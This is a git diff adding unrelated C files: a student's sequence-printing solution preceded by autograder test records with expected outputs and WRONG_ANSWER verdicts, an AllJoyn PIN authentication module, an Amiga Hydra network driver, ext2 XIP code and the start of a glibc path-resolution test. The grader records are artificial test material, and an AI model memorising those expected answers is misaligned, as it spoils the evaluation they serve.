Visibility:1, Input:"5 3", ExpOutput:"1 2 3 +1 2 4 +1 2 5 +1 3 4 +1 3 5 +1 4 5 +2 3 4 +2 3 5 +2 4 5 +3 4 5 +", Output:"123 +124 +125 +134 +135 +145 +234 +235 +245 +345 +" +Verdict:WRONG_ANSWER, Visibility:0, Input:"10 5", ExpOutput:"1 2 3 4 5 +1 2 3 4 6 +1 2 3 4 7 +1 2 3 4 8 +1 2 3 4 9 +1 2 3 4 10 +1 2 3 5 6 +1 2 3 5 7 +1 2 3 5 8 +1 2 3 5 9 +1 2 3 5 10 +1 2 3 6 7 +1 2 3 6 8 +1 2 3 6 9 +1 2 3 6 10 +1 2 3 7 8 +1 2 3 7 9 +1 2 3 7 10 +1 2 3 8 9 +1 2 3 8 10 +1 2 3 9 10 +1 2 4 5 6 +1 2 4 5 7 +1 2 4 5 8 +1 2 4 5 9 +1 2 4 5 10 +1 2 4 6 7 +1 2 4 6 8 +1 2 4 6 9 +1 2 4 6 10 +1 2 4 7 8 +1 2 4 7 9 +1 2 4 7 10 +1 2 4 8 9 +1 2 4 8 10 +1 2 4 9 10 +1 2 5 6 7 +1 2 5 6 8 +1 2 5 6 9 +1 2 5 6 10 +1 2 5 7 8 +1 2 5 7 9 +1 2 5 7 10 +1 2 5 8 9 +1 2 5 8 10 +1 2 5 9 10 +1 2 6 7 8 +1 2 6 7 9 +1 2 6 7 10 +1 2 6 8 9 +1 2 6 8 10 +1 2 6 9 10 +1 2 7 8 9 +1 2 7 8 10 +1 2 7 9 10 +1 2 8 9 10 +1 3 4 5 6 +1 3 4 5 7 +1 3 4 5 8 +1 3 4 5 9 +1 3 4 5 10 +1 3 4 6 7 +1 3 4 6 8 +1 3 4 6 9 +1 3 4 6 10 +1 3 4 7 8 +1 3 4 7 9 +1 3 4 7 10 +1 3 4 8 9 +1 3 4 8 10 +1 3 4 9 10 +1 3 5 6 7 +1 3 5 6 8 +1 3 5 6 9 +1 3 5 6 10 +1 3 5 7 8 +1 3 5 7 9 +1 3 5 7 10 +1 3 5 8 9 +1 3 5 8 10 +1 3 5 9 10 +1 3 6 7 8 +1 3 6 7 9 +1 3 6 7 10 +1 3 6 8 9 +1 3 6 8 10 +1 3 6 9 10 +1 3 7 8 9 +1 3 7 8 10 +1 3 7 9 10 +1 3 8 9 10 +1 4 5 6 7 +1 4 5 6 8 +1 4 5 6 9 +1 4 5 6 10 +1 4 5 7 8 +1 4 5 7 9 +1 4 5 7 10 +1 4 5 8 9 +1 4 5 8 10 +1 4 5 9 10 +1 4 6 7 8 +1 4 6 7 9 +1 4 6 7 10 +1 4 6 8 9 +1 4 6 8 10 +1 4 6 9 10 +1 4 7 8 9 +1 4 7 8 10 +1 4 7 9 10 +1 4 8 9 10 +1 5 6 7 8 +1 5 6 7 9 +1 5 6 7 10 +1 5 6 8 9 +1 5 6 8 10 +1 5 6 9 10 +1 5 7 8 9 +1 5 7 8 10 +1 5 7 9 10 +1 5 8 9 10 +1 6 7 8 9 +1 6 7 8 10 +1 6 7 9 10 +1 6 8 9 10 +1 7 8 9 10 +2 3 4 5 6 +2 3 4 5 7 +2 3 4 5 8 +2 3 4 5 9 +2 3 4 5 10 +2 3 4 6 7 +2 3 4 6 8 +2 3 4 6 9 +2 3 4 6 10 +2 3 4 7 8 +2 3 4 7 9 +2 3 4 7 10 +2 3 4 8 9 +2 3 4 8 10 +2 3 4 9 10 +2 3 5 6 7 +2 3 5 6 8 +2 3 5 6 9 +2 3 5 6 10 +2 3 5 7 8 +2 3 5 7 9 +2 3 5 7 10 +2 3 5 8 9 +2 3 5 8 10 +2 3 5 9 10 +2 3 6 7 8 +2 3 6 7 9 +2 3 6 7 10 +2 3 6 8 9 +2 3 6 8 10 +2 3 6 9 10 +2 3 7 8 9 +2 3 7 8 10 +2 3 7 9 10 +2 3 8 9 10 +2 4 5 6 7 +2 4 5 6 8 +2 4 5 6 9 +2 4 5 6 10 +2 4 5 7 8 +2 4 5 7 9 +2 4 5 7 10 +2 4 5 8 9 +2 4 5 8 10 +2 4 5 9 10 +2 4 6 7 8 +2 4 6 7 9 +2 4 6 7 10 +2 4 6 8 9 +2 4 6 8 10 +2 4 6 9 10 +2 4 7 8 9 +2 4 7 8 10 +2 4 7 9 10 +2 4 8 9 10 +2 5 6 7 8 +2 5 6 7 9 +2 5 6 7 10 +2 5 6 8 9 +2 5 6 8 10 +2 5 6 9 10 +2 5 7 8 9 +2 5 7 8 10 +2 5 7 9 10 +2 5 8 9 10 +2 6 7 8 9 +2 6 7 8 10 +2 6 7 9 10 +2 6 8 9 10 +2 7 8 9 10 +3 4 5 6 7 +3 4 5 6 8 +3 4 5 6 9 +3 4 5 6 10 +3 4 5 7 8 +3 4 5 7 9 +3 4 5 7 10 +3 4 5 8 9 +3 4 5 8 10 +3 4 5 9 10 +3 4 6 7 8 +3 4 6 7 9 +3 4 6 7 10 +3 4 6 8 9 +3 4 6 8 10 +3 4 6 9 10 +3 4 7 8 9 +3 4 7 8 10 +3 4 7 9 10 +3 4 8 9 10 +3 5 6 7 8 +3 5 6 7 9 +3 5 6 7 10 +3 5 6 8 9 +3 5 6 8 10 +3 5 6 9 10 +3 5 7 8 9 +3 5 7 8 10 +3 5 7 9 10 +3 5 8 9 10 +3 6 7 8 9 +3 6 7 8 10 +3 6 7 9 10 +3 6 8 9 10 +3 7 8 9 10 +4 5 6 7 8 +4 5 6 7 9 +4 5 6 7 10 +4 5 6 8 9 +4 5 6 8 10 +4 5 6 9 10 +4 5 7 8 9 +4 5 7 8 10 +4 5 7 9 10 +4 5 8 9 10 +4 6 7 8 9 +4 6 7 8 10 +4 6 7 9 10 +4 6 8 9 10 +4 7 8 9 10 +5 6 7 8 9 +5 6 7 8 10 +5 6 7 9 10 +5 6 8 9 10 +5 7 8 9 10 +6 7 8 9 10 +", Output:"12345 +12346 +12347 +12348 +12349 +123410 +12356 +12357 +12358 +12359 +123510 +12367 +12368 +12369 +123610 +12378 +12379 +123710 +12389 +123810 +123910 +12456 +12457 +12458 +12459 +124510 +12467 +12468 +12469 +124610 +12478 +12479 +124710 +12489 +124810 +124910 +12567 +12568 +12569 +125610 +12578 +12579 +125710 +12589 +125810 +125910 +12678 +12679 +126710 +12689 +126810 +126910 +12789 +127810 +127910 +128910 +13456 +13457 +13458 +13459 +134510 +13467 +13468 +13469 +134610 +13478 +13479 +134710 +13489 +134810 +134910 +13567 +13568 +13569 +135610 +13578 +13579 +135710 +13589 +135810 +135910 +13678 +13679 +136710 +13689 +136810 +136910 +13789 +137810 +137910 +138910 +14567 +14568 +14569 +145610 +14578 +14579 +145710 +14589 +145810 +145910 +14678 +14679 +146710 +14689 +146810 +146910 +14789 +147810 +147910 +148910 +15678 +15679 +156710 +15689 +156810 +156910 +15789 +157810 +157910 +158910 +16789 +167810 +167910 +168910 +178910 +23456 +23457 +23458 +23459 +234510 +23467 +23468 +23469 +234610 +23478 +23479 +234710 +23489 +234810 +234910 +23567 +23568 +23569 +235610 +23578 +23579 +235710 +23589 +235810 +235910 +23678 +23679 +236710 +23689 +236810 +236910 +23789 +237810 +237910 +238910 +24567 +24568 +24569 +245610 +24578 +24579 +245710 +24589 +245810 +245910 +24678 +24679 +246710 +24689 +246810 +246910 +24789 +247810 +247910 +248910 +25678 +25679 +256710 +25689 +256810 +256910 +25789 +257810 +257910 +258910 +26789 +267810 +267910 +268910 +278910 +34567 +34568 +34569 +345610 +34578 +34579 +345710 +34589 +345810 +345910 +34678 +34679 +346710 +34689 +346810 +346910 +34789 +347810 +347910 +348910 +35678 +35679 +356710 +35689 +356810 +356910 +35789 +357810 +357910 +358910 +36789 +367810 +367910 +368910 +378910 +45678 +45679 +456710 +45689 +456810 +456910 +45789 +457810 +457910 +458910 +46789 +467810 +467910 +468910 +478910 +56789 +567810 +567910 +568910 +578910 +678910 +" +Verdict:WRONG_ANSWER, Visibility:0, Input:"7 3", ExpOutput:"1 2 3 +1 2 4 +1 2 5 +1 2 6 +1 2 7 +1 3 4 +1 3 5 +1 3 6 +1 3 7 +1 4 5 +1 4 6 +1 4 7 +1 5 6 +1 5 7 +1 6 7 +2 3 4 +2 3 5 +2 3 6 +2 3 7 +2 4 5 +2 4 6 +2 4 7 +2 5 6 +2 5 7 +2 6 7 +3 4 5 +3 4 6 +3 4 7 +3 5 6 +3 5 7 +3 6 7 +4 5 6 +4 5 7 +4 6 7 +5 6 7 +", Output:"123 +124 +125 +126 +127 +134 +135 +136 +137 +145 +146 +147 +156 +157 +167 +234 +235 +236 +237 +245 +246 +247 +256 +257 +267 +345 +346 +347 +356 +357 +367 +456 +457 +467 +567 +" +*/ +#include + +// A utility function for printing m elements of an int array +void printArr(int arr[], int m){ + int i; + for(i=0; i0)?arr[len-1]+1:1; i<=n; i++){ + arr[len]=i; + printIncSeq(n, m, len+1, arr); + } + } +} + + +int main() +{ + int n, m; + scanf("%d %d", &n, &m); + int arr[50]; + printIncSeq(n, m, 0, arr); + return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0141852_aj_auth.c b/pool/shard011/C/0141852_aj_auth.c new file mode 100644 index 0000000000000000000000000000000000000000..c4caab11830120ddcb687c03a012b9b3c89a6188 --- /dev/null +++ b/pool/shard011/C/0141852_aj_auth.c @@ -0,0 +1,318 @@ +/** + * @file PIN code authentication mechanism + */ +/****************************************************************************** + * Copyright (c) 2012, AllSeen Alliance. All rights reserved. + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + ******************************************************************************/ + +/** + * Per-module definition of the current module for debug logging. Must be defined + * prior to first inclusion of aj_debug.h + */ +#define AJ_MODULE AUTH + +#include "aj_target.h" +#include "aj_status.h" +#include "aj_sasl.h" +#include "aj_auth.h" +#include "aj_guid.h" +#include "aj_creds.h" +#include "aj_util.h" +#include "aj_crypto.h" +#include "aj_debug.h" +#include "aj_config.h" + +/** + * Turn on per-module debug printing by setting this variable to non-zero value + * (usually in debugger). + */ +#ifndef NDEBUG +uint8_t dbgAUTH = 0; +#endif + +static AJ_AuthResult AuthResponse(const char* inStr, char* outStr, uint32_t outLen); +static AJ_AuthResult AuthChallenge(const char* inStr, char* outStr, uint32_t outLen); +static AJ_Status AuthInit(uint8_t role, AJ_AuthPwdFunc pwdFunc); +static AJ_Status AuthFinal(const AJ_GUID* peerGuid); + +const AJ_AuthMechanism AJ_AuthPin = { + AuthInit, + AuthChallenge, + AuthResponse, + AuthFinal, + "ALLJOYN_PIN_KEYX" +}; + +typedef struct _PinAuthContext { + AJ_AuthPwdFunc pwdFunc; + uint8_t state; + uint8_t success; + /* + * The lifetimes of the nonce and secret don't overlap so they can use the same memory. + */ + union { + uint8_t masterSecret[AJ_MASTER_SECRET_LEN]; + uint8_t nonce[AJ_NONCE_LEN]; + }; +} PinAuthContext; + +/* + * This is only 36 bytes - probably not worth malloc'ing + */ +static PinAuthContext context; + +#ifdef AUTH_DEBUG +static char* Hex(const uint8_t* buf, size_t len) +{ + static char hex[128]; + AJ_RawToHex(buf, len, hex, sizeof(hex), FALSE); + return hex; +} +#endif + +static AJ_Status ComputeVerifier(const char* label, char* buffer, size_t bufLen) +{ + AJ_Status status; + const uint8_t* data[2]; + uint8_t lens[2]; + + AJ_InfoPrintf(("ComputeVerifier(label=\"%s\", buffer=0x%p, bufLen=%zu.)\n", label, buffer, bufLen)); + + data[0] = context.masterSecret; + lens[0] = AJ_MASTER_SECRET_LEN; + data[1] = (uint8_t*)label; + lens[1] = (uint8_t)strlen(label); + + status = AJ_Crypto_PRF(data, lens, ArraySize(data), (uint8_t*)buffer, AJ_VERIFIER_LEN); +#ifdef AUTH_DEBUG + AJ_Printf(("ComputeVerifier(): \"%s\n", Hex((uint8_t*)buffer, AJ_VERIFIER_LEN))); +#endif + if (status == AJ_OK) { + status = AJ_RawToHex((uint8_t*) buffer, AJ_VERIFIER_LEN, buffer, bufLen, FALSE); + } + return status; +} + +/* + * Compute the key exchange key from the server and client nonces and the pin code. + */ +static AJ_Status ComputeMS(const uint8_t* nonce) +{ + AJ_Status status; + uint8_t pwd[AJ_ADHOC_LEN]; + const uint8_t* data[4]; + uint8_t lens[4]; + uint32_t pwdLen = context.pwdFunc(pwd, sizeof(pwd)); + + AJ_InfoPrintf(("ComputeMS(nonce=0x%p)\n", nonce)); + + if (pwdLen == 0) { + AJ_ErrPrintf(("ComputeMS(): AJ_ERR_SECURITY\n")); + return AJ_ERR_SECURITY; + } + data[0] = pwd; + lens[0] = pwdLen; + data[1] = context.nonce; + lens[1] = AJ_NONCE_LEN; + data[2] = nonce; + lens[2] = AJ_NONCE_LEN; + data[3] = (uint8_t*)"master secret"; + lens[3] = 13; + /* + * Use the PRF function to compute the master secret + */ + status = AJ_Crypto_PRF(data, lens, ArraySize(data), context.masterSecret, AJ_MASTER_SECRET_LEN); +#ifdef AUTH_DEBUG + AJ_InfoPrintf(("ComputeMS(): MasterSecret: %s\n", Hex(context.masterSecret, AJ_MASTER_SECRET_LEN))); +#endif + return status; +} + +static AJ_AuthResult AuthResponse(const char* inStr, char* outStr, uint32_t outLen) +{ + AJ_AuthResult result; + AJ_Status status = AJ_OK; + uint8_t* nonce; + int32_t pos; + + AJ_InfoPrintf(("AuthReponse(inStr=\"%s\", outStr=0x%p, outLen=%d.)\n", inStr, outStr, outLen)); + + /* + * Responder begins by sending a nonce. + */ + if (!inStr) { + AJ_RandBytes(context.nonce, AJ_NONCE_LEN); + AJ_RawToHex(context.nonce, AJ_NONCE_LEN, outStr, outLen, FALSE); + AJ_InfoPrintf(("AuthReponse(): AJ_AUTH_STATUS_CONTINUE\n")); + return AJ_AUTH_STATUS_CONTINUE; + } + /* + * Server sends a random nonce concatenated with a verifier string. + */ + pos = AJ_StringFindFirstOf(inStr, ":"); + if (pos < 0) { + /* + * String is incorrectly formatted - fail the authentication + */ + AJ_ErrPrintf(("AuthReponse(): AJ_AUTH_STATUS_FAILURE\n")); + return AJ_AUTH_STATUS_FAILURE; + } + /* + * We should be able to use outStr to convert the nonce + */ + if (outLen < AJ_NONCE_LEN) { + status = AJ_ERR_RESOURCES; + } else { + nonce = (uint8_t*)outStr; + status = AJ_HexToRaw(inStr, pos, nonce, AJ_NONCE_LEN); + } + /* + * Compute the master secret + */ + if (status == AJ_OK) { + status = ComputeMS(nonce); + } + if (status == AJ_OK) { + status = ComputeVerifier("server finish", outStr, outLen); + } + /* + * Check that the computed verifier matches the one we received + */ + if (status == AJ_OK) { + if (strcmp(inStr + pos + 1, outStr) == 0) { + ComputeVerifier("client finish", outStr, outLen); + result = AJ_AUTH_STATUS_SUCCESS; + context.success = TRUE; + } else { + result = AJ_AUTH_STATUS_RETRY; + AJ_InfoPrintf(("AuthReponse(): AJ_AUTH_STATUS_RETRY\n")); + + } + } else { + result = AJ_AUTH_STATUS_FAILURE; + AJ_ErrPrintf(("AuthReponse(): AJ_AUTH_STATUS_FAILURE\n")); + } + return result; +} + +static AJ_AuthResult AuthChallenge(const char* inStr, char* outStr, uint32_t outLen) +{ + AJ_AuthResult result = AJ_AUTH_STATUS_FAILURE; + AJ_Status status; + + AJ_InfoPrintf(("AuthChallenge(inStr=\"%s\", outStr=0x%p, outLen=%d.)\n", inStr, outStr, outLen)); + + if (context.state == 0) { + /* + * Client sent a nonce + */ + status = AJ_HexToRaw(inStr, 0, context.nonce, AJ_NONCE_LEN); + /* + * Get server's nonce + */ + if (outLen < AJ_NONCE_LEN) { + status = AJ_ERR_RESOURCES; + AJ_InfoPrintf(("AuthChallenge(): AJ_ERR_RESOURCES\n")); + } else { + AJ_RandBytes((uint8_t*)outStr, AJ_NONCE_LEN); + /* + * Compute the master secret + */ + if (status == AJ_OK) { + status = ComputeMS((uint8_t*)outStr); + } + /* + * Write nonce to the output string + */ + if (status == AJ_OK) { + status = AJ_RawToHex((uint8_t*) outStr, AJ_NONCE_LEN, outStr, outLen - (1 + AJ_VERIFIER_LEN), FALSE); + } + /* + * Append verifier to the nonce + */ + if (status == AJ_OK) { + size_t len = strlen(outStr); + outStr[len++] = ':'; + outStr[len] = '\0'; + ComputeVerifier("server finish", outStr + len, outLen - len); + result = AJ_AUTH_STATUS_CONTINUE; + } + } + context.state = 1; + } else { + /* + * Check the client's verifier (borrow the out buffer) + */ + status = ComputeVerifier("client finish", outStr, outLen); + if (status == AJ_OK) { + if (strcmp(inStr, outStr) == 0) { + result = AJ_AUTH_STATUS_SUCCESS; + context.success = TRUE; + } else { + AJ_InfoPrintf(("AuthChallenge(): AJ_AUTH_STATUS_RETRY\n")); + result = AJ_AUTH_STATUS_RETRY; + } + } + *outStr = '\0'; + context.state = 0; + } + if (status != AJ_OK) { + AJ_InfoPrintf(("AuthChallenge(): AJ_AUTH_STATUS_FAILURE\n")); + result = AJ_AUTH_STATUS_FAILURE; + } + return result; +} + +AJ_Status AuthInit(uint8_t role, AJ_AuthPwdFunc pwdFunc) +{ + AJ_InfoPrintf(("AuthInit(role=%d., pwdFunc=0x%p)\n", role, pwdFunc)); + + if (pwdFunc) { + memset(&context, 0, sizeof(context)); + context.pwdFunc = pwdFunc; + return AJ_OK; + } else { + /* + * Must have a password function + */ + AJ_InfoPrintf(("AuthInit(): AJ_ERR_SECURITY\n")); + return AJ_ERR_SECURITY; + } +} + +static AJ_Status AuthFinal(const AJ_GUID* peerGuid) +{ + AJ_Status status = AJ_OK; + + AJ_InfoPrintf(("AuthFinal(peerGuid=0x%p)\n", peerGuid)); + + if (peerGuid) { + /* + * If the authentication was succesful write the credentials for the authenticated peer to + * NVRAM otherwise delete any stale credentials that might be stored. + */ + if (context.success) { + AJ_PeerCred cred; + AJ_ASSERT(sizeof(cred.secret) == AJ_MASTER_SECRET_LEN); + memcpy(&cred.guid, peerGuid, sizeof(AJ_GUID)); + memcpy(&cred.secret, context.masterSecret, AJ_MASTER_SECRET_LEN); + status = AJ_StoreCredential(&cred); + } else { + status = AJ_DeleteCredential(peerGuid); + } + } + memset(&context, 0, sizeof(context)); + return status; +} diff --git a/pool/shard011/C/0141853_hydra.c b/pool/shard011/C/0141853_hydra.c new file mode 100644 index 0000000000000000000000000000000000000000..fecaec10291d7deb6d2499b77cbcf8a66cec7f5d --- /dev/null +++ b/pool/shard011/C/0141853_hydra.c @@ -0,0 +1,256 @@ +/* New Hydra driver using generic 8390 core */ +/* Based on old hydra driver by Topi Kanerva (topi@susanna.oulu.fi) */ + +/* This file is subject to the terms and conditions of the GNU General */ +/* Public License. See the file COPYING in the main directory of the */ +/* Linux distribution for more details. */ + +/* Peter De Schrijver (p2@mind.be) */ +/* Oldenburg 2000 */ + +/* The Amiganet is a Zorro-II board made by Hydra Systems. It contains a */ +/* NS8390 NIC (network interface controller) clone, 16 or 64K on-board RAM */ +/* and 10BASE-2 (thin coax) and AUI connectors. */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "8390.h" + +#define NE_EN0_DCFG (0x0e*2) + +#define NESM_START_PG 0x0 /* First page of TX buffer */ +#define NESM_STOP_PG 0x40 /* Last page +1 of RX ring */ + +#define HYDRA_NIC_BASE 0xffe1 +#define HYDRA_ADDRPROM 0xffc0 +#define HYDRA_VERSION "v3.0alpha" + +#define WORDSWAP(a) ((((a)>>8)&0xff) | ((a)<<8)) + + +static int __devinit hydra_init_one(struct zorro_dev *z, + const struct zorro_device_id *ent); +static int __devinit hydra_init(struct zorro_dev *z); +static int hydra_open(struct net_device *dev); +static int hydra_close(struct net_device *dev); +static void hydra_reset_8390(struct net_device *dev); +static void hydra_get_8390_hdr(struct net_device *dev, + struct e8390_pkt_hdr *hdr, int ring_page); +static void hydra_block_input(struct net_device *dev, int count, + struct sk_buff *skb, int ring_offset); +static void hydra_block_output(struct net_device *dev, int count, + const unsigned char *buf, int start_page); +static void __devexit hydra_remove_one(struct zorro_dev *z); + +static struct zorro_device_id hydra_zorro_tbl[] __devinitdata = { + { ZORRO_PROD_HYDRA_SYSTEMS_AMIGANET }, + { 0 } +}; + +static struct zorro_driver hydra_driver = { + .name = "hydra", + .id_table = hydra_zorro_tbl, + .probe = hydra_init_one, + .remove = __devexit_p(hydra_remove_one), +}; + +static int __devinit hydra_init_one(struct zorro_dev *z, + const struct zorro_device_id *ent) +{ + int err; + + if (!request_mem_region(z->resource.start, 0x10000, "Hydra")) + return -EBUSY; + if ((err = hydra_init(z))) { + release_mem_region(z->resource.start, 0x10000); + return -EBUSY; + } + return 0; +} + +static int __devinit hydra_init(struct zorro_dev *z) +{ + struct net_device *dev; + unsigned long board = ZTWO_VADDR(z->resource.start); + unsigned long ioaddr = board+HYDRA_NIC_BASE; + const char name[] = "NE2000"; + int start_page, stop_page; + int j; + int err; + + static u32 hydra_offsets[16] = { + 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, + 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, + }; + + dev = alloc_ei_netdev(); + if (!dev) + return -ENOMEM; + SET_MODULE_OWNER(dev); + + for(j = 0; j < ETHER_ADDR_LEN; j++) + dev->dev_addr[j] = *((u8 *)(board + HYDRA_ADDRPROM + 2*j)); + + /* We must set the 8390 for word mode. */ + z_writeb(0x4b, ioaddr + NE_EN0_DCFG); + start_page = NESM_START_PG; + stop_page = NESM_STOP_PG; + + dev->base_addr = ioaddr; + dev->irq = IRQ_AMIGA_PORTS; + + /* Install the Interrupt handler */ + if (request_irq(IRQ_AMIGA_PORTS, ei_interrupt, SA_SHIRQ, "Hydra Ethernet", + dev)) { + free_netdev(dev); + return -EAGAIN; + } + + ei_status.name = name; + ei_status.tx_start_page = start_page; + ei_status.stop_page = stop_page; + ei_status.word16 = 1; + ei_status.bigendian = 1; + + ei_status.rx_start_page = start_page + TX_PAGES; + + ei_status.reset_8390 = &hydra_reset_8390; + ei_status.block_input = &hydra_block_input; + ei_status.block_output = &hydra_block_output; + ei_status.get_8390_hdr = &hydra_get_8390_hdr; + ei_status.reg_offset = hydra_offsets; + dev->open = &hydra_open; + dev->stop = &hydra_close; +#ifdef CONFIG_NET_POLL_CONTROLLER + dev->poll_controller = ei_poll; +#endif + + NS8390_init(dev, 0); + + err = register_netdev(dev); + if (err) { + free_irq(IRQ_AMIGA_PORTS, dev); + free_netdev(dev); + return err; + } + + zorro_set_drvdata(z, dev); + + printk(KERN_INFO "%s: Hydra at 0x%08lx, address " + "%02x:%02x:%02x:%02x:%02x:%02x (hydra.c " HYDRA_VERSION ")\n", + dev->name, z->resource.start, dev->dev_addr[0], dev->dev_addr[1], + dev->dev_addr[2], dev->dev_addr[3], dev->dev_addr[4], + dev->dev_addr[5]); + + return 0; +} + +static int hydra_open(struct net_device *dev) +{ + ei_open(dev); + return 0; +} + +static int hydra_close(struct net_device *dev) +{ + if (ei_debug > 1) + printk(KERN_DEBUG "%s: Shutting down ethercard.\n", dev->name); + ei_close(dev); + return 0; +} + +static void hydra_reset_8390(struct net_device *dev) +{ + printk(KERN_INFO "Hydra hw reset not there\n"); +} + +static void hydra_get_8390_hdr(struct net_device *dev, + struct e8390_pkt_hdr *hdr, int ring_page) +{ + int nic_base = dev->base_addr; + short *ptrs; + unsigned long hdr_start= (nic_base-HYDRA_NIC_BASE) + + ((ring_page - NESM_START_PG)<<8); + ptrs = (short *)hdr; + + *(ptrs++) = z_readw(hdr_start); + *((short *)hdr) = WORDSWAP(*((short *)hdr)); + hdr_start += 2; + *(ptrs++) = z_readw(hdr_start); + *((short *)hdr+1) = WORDSWAP(*((short *)hdr+1)); +} + +static void hydra_block_input(struct net_device *dev, int count, + struct sk_buff *skb, int ring_offset) +{ + unsigned long nic_base = dev->base_addr; + unsigned long mem_base = nic_base - HYDRA_NIC_BASE; + unsigned long xfer_start = mem_base + ring_offset - (NESM_START_PG<<8); + + if (count&1) + count++; + + if (xfer_start+count > mem_base + (NESM_STOP_PG<<8)) { + int semi_count = (mem_base + (NESM_STOP_PG<<8)) - xfer_start; + + z_memcpy_fromio(skb->data,xfer_start,semi_count); + count -= semi_count; + z_memcpy_fromio(skb->data+semi_count, mem_base, count); + } else + z_memcpy_fromio(skb->data, xfer_start,count); + +} + +static void hydra_block_output(struct net_device *dev, int count, + const unsigned char *buf, int start_page) +{ + unsigned long nic_base = dev->base_addr; + unsigned long mem_base = nic_base - HYDRA_NIC_BASE; + + if (count&1) + count++; + + z_memcpy_toio(mem_base+((start_page - NESM_START_PG)<<8), buf, count); +} + +static void __devexit hydra_remove_one(struct zorro_dev *z) +{ + struct net_device *dev = zorro_get_drvdata(z); + + unregister_netdev(dev); + free_irq(IRQ_AMIGA_PORTS, dev); + release_mem_region(ZTWO_PADDR(dev->base_addr)-HYDRA_NIC_BASE, 0x10000); + free_netdev(dev); +} + +static int __init hydra_init_module(void) +{ + return zorro_module_init(&hydra_driver); +} + +static void __exit hydra_cleanup_module(void) +{ + zorro_unregister_driver(&hydra_driver); +} + +module_init(hydra_init_module); +module_exit(hydra_cleanup_module); + +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141854_xip.c b/pool/shard011/C/0141854_xip.c new file mode 100644 index 0000000000000000000000000000000000000000..4fb94c20041b5e44c5ee2152a151bf65e486daa9 --- /dev/null +++ b/pool/shard011/C/0141854_xip.c @@ -0,0 +1,90 @@ +/* + * linux/fs/ext2/xip.c + * + * Copyright (C) 2005 IBM Corporation + * Author: Carsten Otte (cotte@de.ibm.com) + */ + +#include +#include +#include +#include +#include +#include +#include "ext2.h" +#include "xip.h" + +static inline int +__inode_direct_access(struct inode *inode, sector_t block, + void **kaddr, unsigned long *pfn) +{ + struct block_device *bdev = inode->i_sb->s_bdev; + struct block_device_operations *ops = bdev->bd_disk->fops; + sector_t sector; + + sector = block * (PAGE_SIZE / 512); /* ext2 block to bdev sector */ + + BUG_ON(!ops->direct_access); + return ops->direct_access(bdev, sector, kaddr, pfn); +} + +static inline int +__ext2_get_block(struct inode *inode, pgoff_t pgoff, int create, + sector_t *result) +{ + struct buffer_head tmp; + int rc; + + memset(&tmp, 0, sizeof(struct buffer_head)); + rc = ext2_get_block(inode, pgoff, &tmp, create); + *result = tmp.b_blocknr; + + /* did we get a sparse block (hole in the file)? */ + if (!tmp.b_blocknr && !rc) { + BUG_ON(create); + rc = -ENODATA; + } + + return rc; +} + +int +ext2_clear_xip_target(struct inode *inode, sector_t block) +{ + void *kaddr; + unsigned long pfn; + int rc; + + rc = __inode_direct_access(inode, block, &kaddr, &pfn); + if (!rc) + clear_page(kaddr); + return rc; +} + +void ext2_xip_verify_sb(struct super_block *sb) +{ + struct ext2_sb_info *sbi = EXT2_SB(sb); + + if ((sbi->s_mount_opt & EXT2_MOUNT_XIP) && + !sb->s_bdev->bd_disk->fops->direct_access) { + sbi->s_mount_opt &= (~EXT2_MOUNT_XIP); + ext2_warning(sb, __func__, + "ignoring xip option - not supported by bdev"); + } +} + +int ext2_get_xip_mem(struct address_space *mapping, pgoff_t pgoff, int create, + void **kmem, unsigned long *pfn) +{ + int rc; + sector_t block; + + /* first, retrieve the sector number */ + rc = __ext2_get_block(mapping->host, pgoff, create, &block); + if (rc) + return rc; + + /* retrieve address of the target data */ + rc = __inode_direct_access(mapping->host, block, kmem, pfn); + return rc; +} diff --git a/pool/shard011/C/0141855_test-canon.c b/pool/shard011/C/0141855_test-canon.c new file mode 100644 index 0000000000000000000000000000000000000000..92618987951500293b404b0e874bfbd503679a22 --- /dev/null +++ b/pool/shard011/C/0141855_test-canon.c @@ -0,0 +1,236 @@ +/* Test program for returning the canonical absolute name of a given file. + Copyright (C) 1996,1997,2000,2002,2004,2005,2006 + Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by David Mosberger . + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA + 02111-1307 USA. */ + +/* This file must be run from within a directory called "stdlib". */ + +#include +#include +#include +#include +#include +#include +#include + +/* Prototype for our test function. */ +extern int do_test (int argc, char *argv[]); +#include + +#ifndef PATH_MAX +# define PATH_MAX 4096 +#endif +static char cwd[PATH_MAX]; +static size_t cwd_len; + +struct { + const char * name; + const char * value; +} symlinks[] = { + {"SYMLINK_LOOP", "SYMLINK_LOOP"}, + {"SYMLINK_1", "."}, + {"SYMLINK_2", "//////./../../etc"}, + {"SYMLINK_3", "SYMLINK_1"}, + {"SYMLINK_4", "SYMLINK_2"}, + {"SYMLINK_5", "doesNotExist"}, +}; + +struct { + const char * in, * out, * resolved; + int error; +} tests[] = { + /* 0 */ + {"/", "/"}, + {"/////////////////////////////////", "/"}, + {"/.././.././.././..///", "/"}, + {"/etc", 